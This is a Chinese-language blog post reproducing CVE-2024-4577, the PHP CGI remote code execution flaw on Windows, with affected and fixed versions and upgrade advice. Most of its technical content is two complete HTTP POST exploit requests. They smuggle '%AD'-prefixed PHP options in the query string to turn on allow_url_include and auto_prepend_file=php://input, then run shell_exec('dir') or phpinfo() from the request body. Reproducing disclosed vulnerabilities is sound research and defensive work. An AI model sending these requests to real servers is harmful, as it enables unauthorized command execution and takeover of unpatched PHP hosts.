【漏洞复现】PHP CGI Windows平台远程代码执行漏洞(CVE-2024-4577)

漏洞描述:

CVE-2024-4577导致漏洞产生的本质其实是Windows系统内字符编码转换的Best-Fit特性导致的。由于Windows系统内字符编码转换的Best-Fit特性导致PHP原本的安全限制被绕过,再加上一些特殊的PHP CGI环境配置导致了这个问题。

影响版本:

PHP 8.3 < 8.3.8
PHP 8.2 < 8.2.20
PHP 8.1 < 8.1.29

利用方式1:

通过修改httpd-xampp.conf中注释解开下面这段代码,注释之后需要重启apache服务
在这里插入图片描述

POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: 
Content-Type: application/x-www-form-urlencoded
 
<?php echo shell_exec("dir"); ?>

在这里插入图片描述

利用方式2

无需任何配置信息修改

POST /php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3d0+%ADd+cgi.redirect_status_env+%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: 

<?php phpinfo();?>

在这里插入图片描述

修复建议:

目前,官方已发布修复建议,建议受影响的用户尽快升级至安全版本。
PHP 8.3 >= 8.3.8
PHP 8.2 >= 8.2.20
PHP 8.1 >= 8.1.29
下载地址:https://www.php.net/downloads.php

最近更新

  1. TCP协议是安全的吗?

    2024-06-11 01:32:02       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-06-11 01:32:02       19 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-06-11 01:32:02       18 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-06-11 01:32:02       20 阅读

热门阅读

  1. Reinforcement Learning学习(三)

    2024-06-11 01:32:02       9 阅读
  2. Rust-07-结构体

    2024-06-11 01:32:02       7 阅读
  3. Vue中的组件通信

    2024-06-11 01:32:02       8 阅读
  4. 前端面试题日常练-day62 【面试题】

    2024-06-11 01:32:02       9 阅读
  5. Android RadioButton+GridLayout实现多行多列的单选效果

    2024-06-11 01:32:02       6 阅读
  6. 使用Matplotlib进行Python绘图

    2024-06-11 01:32:02       11 阅读
  7. 构建SOA架构时应该注意的问题

    2024-06-11 01:32:02       8 阅读
  8. WPF Frame应用 实现页面跳转

    2024-06-11 01:32:02       9 阅读
  9. 中介子方程十一

    2024-06-11 01:32:02       8 阅读